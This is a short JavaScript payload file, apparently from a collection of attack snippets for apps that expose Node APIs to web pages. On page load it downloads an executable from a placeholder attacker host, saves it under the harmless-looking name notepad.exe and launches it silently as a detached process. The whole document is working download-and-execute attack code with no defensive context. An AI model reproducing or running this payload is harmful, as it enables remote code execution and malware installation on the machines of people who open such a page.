Download and execute a binary payload

payload.js

document.addEventListener("DOMContentLoaded", function () {
  const { spawn } = require('child_process');
  const fs = require('fs-extra');
  const path = require('path');

  const fileName = 'notepad.exe';
  const localPath = path.join(process.cwd(), fileName);
  const remoteUri = 'https://evil.hacker.domain.local/payload.exe';

  let saveAndLaunch = function(download) {
    fs.writeFile(localPath, download);  
    
    const subprocess = spawn(localPath, [], {
      detached: true,
      stdio: 'ignore'
    });

    subprocess.unref();
  };
  
  const response = fetch(remoteUri, { })
    .then(res => res.buffer())
    .then(body => saveAndLaunch(body));    
});